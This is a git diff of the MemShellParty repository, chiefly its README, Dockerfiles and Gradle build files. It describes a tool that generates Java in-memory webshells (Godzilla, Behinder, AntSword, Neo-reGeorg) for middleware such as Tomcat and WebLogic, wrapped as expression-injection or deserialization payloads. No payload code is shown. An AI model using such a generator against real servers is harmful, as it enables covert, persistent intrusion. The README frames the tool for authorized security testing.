@@ -25,8 +26,10 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
|
|
||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
|
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
|
|
||||||
|
ARG VERSION="1.0.0"
|
||||||
|
ENV VERSION=${VERSION}
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -34,9 +37,9 @@ COPY --from=source /usr/src /usr/src
|
|||||||
|
|
||||||
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:21.0.12_8-jre-noble
|
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
@@ -57,4 +60,4 @@ ENV INTERNAL_JAVA_OPTS="\
|
|||||||
|
|
||||||
EXPOSE 8080
|
EXPOSE 8080
|
||||||
|
|
||||||
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
|
||||||
@@ -1,65 +1,49 @@
|
|||||||
<h1 align="center">MemShellParty</h1>
|
# MemShellParty
|
||||||
|
|
||||||
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
|
||||||
|
|
||||||
|
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||||
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
|
||||||
[](https://hub.docker.com/r/reajason/memshell-party)
|
[](https://hub.docker.com/r/reajason/memshell-party)
|
||||||
</div>
|
|
||||||
<div align="center">
|
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.mem.mk)
|
[](https://party.memshell.news)
|
||||||
</div>
|
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
||||||
> 交流群,欢迎一起学习交流。
|
> 交流群,欢迎一起学习交流
|
||||||
|
|
||||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
||||||
|
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
||||||
|
|
||||||
<p align="center">
|
希望你能从这个项目学会或尝试做的:
|
||||||
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
|
||||||
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
1. 学会编写常见中间件框架的内存马。
|
||||||
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
||||||
<img src="assets/about_page.png" alt="about_page" width="24%">
|
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
||||||
</p>
|
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
||||||
|
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|
||||||
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||||
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
|
- 高可用性:自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
|
- 最小化:尽可能精简内存马大小,高效传输。
|
||||||
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
|
- 强兼容性:覆盖攻防场景下常见中间件和框架。
|
||||||
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
|
|
||||||
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
|
|
||||||
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
|
|
||||||
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
|
|
||||||
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
|
|
||||||
|
|
||||||
## 快速使用
|
## 快速使用
|
||||||
|
|
||||||
### 使用前必看
|
|
||||||
|
|
||||||
[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
|
|
||||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
|
||||||
|
|
||||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
|
||||||
GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
|
||||||
|
|
||||||
### 在线站点
|
### 在线站点
|
||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
可直接访问 https://party.memshell.news(搭建在 [Northflank](https://northflank.com/) US
|
||||||
|
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
|
||||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -78,10 +62,212 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
## Special Thanks
|
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 移除之前部署的
|
||||||
|
docker rm -f memshell-party
|
||||||
|
|
||||||
|
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
## 适配情况
|
||||||
|
|
||||||
|
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||||
|
|
||||||
|
### 中间件以及框架
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
|
||||||
|
|----------------------|----------------------|------------------------|---------------|
|
||||||
|
| Filter | Filter | Filter | Servlet |
|
||||||
|
| Listener | Listener | Listener | Filter |
|
||||||
|
| Valve | Valve | Valve | Listener |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
|
||||||
|
|
||||||
|
### 内存马功能
|
||||||
|
|
||||||
|
- [x] Godzilla 哥斯拉
|
||||||
|
- [x] Behinder 冰蝎
|
||||||
|
- [x] 命令执行
|
||||||
|
- [x] Suo5
|
||||||
|
- [x] AntSword 蚁剑
|
||||||
|
- [x] Neo-reGeorg
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### 封装方式
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] 原生反序列化(CB4)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC 连接
|
||||||
|
- [ ] 其他常见反序列化
|
||||||
|
|
||||||
|
## 本地构建
|
||||||
|
|
||||||
|
### 源代码构建
|
||||||
|
|
||||||
|
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
||||||
|
|
||||||
|
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||||
|
|
||||||
|
1. 使用 Git Clone 项目
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
|
```
|
||||||
|
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/web
|
||||||
|
|
||||||
|
bun install
|
||||||
|
|
||||||
|
bun run build
|
||||||
|
```
|
||||||
|
3. 构建后端项目,确保使用 JDK17 环境
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
./gradlew :boot:bootjar -x test
|
||||||
|
```
|
||||||
|
|
||||||
|
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
java -jar \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
|
build/libs/boot-1.0.0.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
也可这基础上再继续构建容器来使用
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
docker buildx build -t memshell-party:latest . --load
|
||||||
|
|
||||||
|
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### Dockerfile 一键构建
|
||||||
|
|
||||||
|
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||||
|
|
||||||
|
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||||
|
|
||||||
|
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
||||||
|
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||||
|
- CONTEXT_PATH: 后端访问前缀
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 基础构建
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.6.0 \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# 基础镜像启动,访问 127.0.0.1:8080
|
||||||
|
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||||
|
|
||||||
|
# 自定义访问路径构建
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.6.0 \
|
||||||
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
||||||
|
docker run -it -p 8080:8080 \
|
||||||
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
|
memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
||||||
|
|
||||||
|
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
||||||
|
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
||||||
|
|
||||||
|
```text
|
||||||
|
location /memshell-party {
|
||||||
|
proxy_pass http://127.0.0.1:8080;
|
||||||
|
proxy_set_header Host $http_host;
|
||||||
|
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||||
|
proxy_set_header X-Forwarded-For $remote_addr;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_connect_timeout 3s;
|
||||||
|
proxy_read_timeout 300s;
|
||||||
|
proxy_send_timeout 300s;
|
||||||
|
proxy_buffer_size 16k;
|
||||||
|
proxy_buffers 8 64k;
|
||||||
|
proxy_busy_buffers_size 128k;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## How
|
||||||
|
|
||||||
|
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
|
||||||
|
2. 如何调试内存马,为什么内存马注入了却不可用?(**WIP**)
|
||||||
|
|
||||||
|
## Contribute
|
||||||
|
|
||||||
|
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||||
|
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||||
|
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||||
|
|
||||||
|
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
||||||
|
|
||||||
|
## Thanks
|
||||||
|
|
||||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 140 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
RUN pip install requests
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 262 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 92 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 136 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 236 KiB |
@@ -1,35 +0,0 @@
|
|||||||
import http.server
|
|
||||||
import socketserver
|
|
||||||
|
|
||||||
PORT = 8000
|
|
||||||
TARGET_PATH = "/api/v1/data"
|
|
||||||
|
|
||||||
|
|
||||||
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|
||||||
def do_POST(self):
|
|
||||||
if self.path == TARGET_PATH:
|
|
||||||
try:
|
|
||||||
content_length = int(self.headers['Content-Length'])
|
|
||||||
post_data_bytes = self.rfile.read(content_length)
|
|
||||||
post_data_str = post_data_bytes.decode('utf-8')
|
|
||||||
print("-----------------------------\n")
|
|
||||||
print(f"Client IP: {self.client_address}")
|
|
||||||
print(f"Request Header:\n{self.headers}")
|
|
||||||
print(f"Request Body:\n{post_data_str}")
|
|
||||||
print("-----------------------------\n")
|
|
||||||
self.send_response(200)
|
|
||||||
self.send_header('Content-type', 'application/json')
|
|
||||||
self.end_headers()
|
|
||||||
response_message = '{"status": "success"}'
|
|
||||||
self.wfile.write(response_message.encode('utf-8'))
|
|
||||||
except Exception as e:
|
|
||||||
print(f"Parse POST failed: {e}")
|
|
||||||
self.send_response(500)
|
|
||||||
else:
|
|
||||||
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
|
|
||||||
self.send_response(404)
|
|
||||||
|
|
||||||
|
|
||||||
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
|
|
||||||
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
|
|
||||||
httpd.serve_forever()
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
import http from 'k6/http';
|
|
||||||
import {check, sleep} from 'k6';
|
|
||||||
|
|
||||||
export const options = {
|
|
||||||
rps: 4500,
|
|
||||||
vus: 10,
|
|
||||||
duration: '5m',
|
|
||||||
};
|
|
||||||
|
|
||||||
export default function () {
|
|
||||||
const res = http.get('http://localhost:8082/app/test');
|
|
||||||
check(res, {
|
|
||||||
'status is 200': (r) => r.status === 200,
|
|
||||||
});
|
|
||||||
sleep(1);
|
|
||||||
}
|
|
||||||
Binary file not shown.
|
Before Width: | Height: | Size: 268 KiB |
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,39 @@
|
|||||||
|
plugins {
|
||||||
|
id 'java-platform'
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
constraints {
|
||||||
|
api 'net.bytebuddy:byte-buddy:1.+'
|
||||||
|
api 'org.ow2.asm:asm-commons:9.7.1'
|
||||||
|
api 'com.github.jar-analyzer:class-obf:1.5.0'
|
||||||
|
|
||||||
|
api 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
|
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||||
|
api 'javax.websocket:javax.websocket-api:1.1'
|
||||||
|
|
||||||
|
api 'org.springframework:spring-webmvc:5.3.24'
|
||||||
|
api 'org.springframework:spring-webflux:5.3.24'
|
||||||
|
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
||||||
|
|
||||||
|
api 'commons-io:commons-io:2.+'
|
||||||
|
api 'org.apache.commons:commons-lang3:3.+'
|
||||||
|
api 'commons-codec:commons-codec:1.+'
|
||||||
|
api 'ch.qos.logback:logback-classic:1.+'
|
||||||
|
|
||||||
|
api 'org.apache.bcel:bcel:5.2'
|
||||||
|
|
||||||
|
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||||
|
api 'com.squareup.okhttp3:okhttp:4.+'
|
||||||
|
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
||||||
|
|
||||||
|
api 'org.jetbrains:annotations:26.0.1'
|
||||||
|
|
||||||
|
api 'org.mockito:mockito-core:5.15.2'
|
||||||
|
api 'org.mockito:mockito-junit-jupiter:5.15.2'
|
||||||
|
api 'org.hamcrest:hamcrest:3.0'
|
||||||
|
api 'org.junit:junit-bom:5.11.4'
|
||||||
|
api 'org.testcontainers:testcontainers:1.20.5'
|
||||||
|
api 'org.testcontainers:junit-jupiter:1.20.5'
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:21.0.11_10-jre-noble
|
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,62 @@
|
|||||||
|
plugins {
|
||||||
|
id 'java'
|
||||||
|
id 'org.springframework.boot' version '3.4.0'
|
||||||
|
id 'io.spring.dependency-management' version '1.1.6'
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
def runtimeJvmArgs = [
|
||||||
|
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||||
|
]
|
||||||
|
|
||||||
|
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||||
|
|
||||||
|
tasks.withType(Test).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
// For running the application
|
||||||
|
tasks.withType(JavaExec).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
configurations {
|
||||||
|
compileOnly {
|
||||||
|
extendsFrom annotationProcessor
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":generator")) {
|
||||||
|
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
||||||
|
exclude group: 'commons-logging', module: 'commons-logging'
|
||||||
|
}
|
||||||
|
implementation(project(":deserialize")) {
|
||||||
|
exclude group: 'commons-logging', module: 'commons-logging'
|
||||||
|
}
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
||||||
|
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||||
|
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||||
|
}
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||||
|
compileOnly 'org.projectlombok:lombok'
|
||||||
|
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||||
|
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
||||||
|
annotationProcessor 'org.projectlombok:lombok'
|
||||||
|
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
||||||
|
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||||
|
}
|
||||||
|
|
||||||
|
test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("java")
|
|
||||||
id("org.springframework.boot") version "4.1.0"
|
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = "io.github.reajason"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
|
||||||
|
|
||||||
configurations {
|
|
||||||
compileOnly {
|
|
||||||
extendsFrom(configurations.annotationProcessor.get())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation(project(":generator")) {
|
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
|
||||||
}
|
|
||||||
implementation(project(":packer")) {
|
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
|
||||||
}
|
|
||||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
|
||||||
implementation("org.springframework.boot:spring-boot-starter-web")
|
|
||||||
implementation(libs.commons.lang3)
|
|
||||||
compileOnly("org.projectlombok:lombok")
|
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
|
||||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
|
||||||
annotationProcessor("org.projectlombok:lombok")
|
|
||||||
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
|
||||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.boot;
|
package com.reajason.javaweb.boot;
|
||||||
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
@@ -8,10 +7,11 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
@SpringBootApplication
|
@SpringBootApplication
|
||||||
@Slf4j
|
|
||||||
public class BootApplication {
|
public class BootApplication {
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
|
|
||||||
SpringApplication.run(BootApplication.class, args);
|
SpringApplication.run(BootApplication.class, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -1,13 +1,10 @@
|
|||||||
package com.reajason.javaweb.boot.api;
|
package com.reajason.javaweb.boot.api;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||||
import org.springframework.web.servlet.resource.NoResourceFoundException;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -16,23 +13,10 @@ import org.springframework.web.servlet.resource.NoResourceFoundException;
|
|||||||
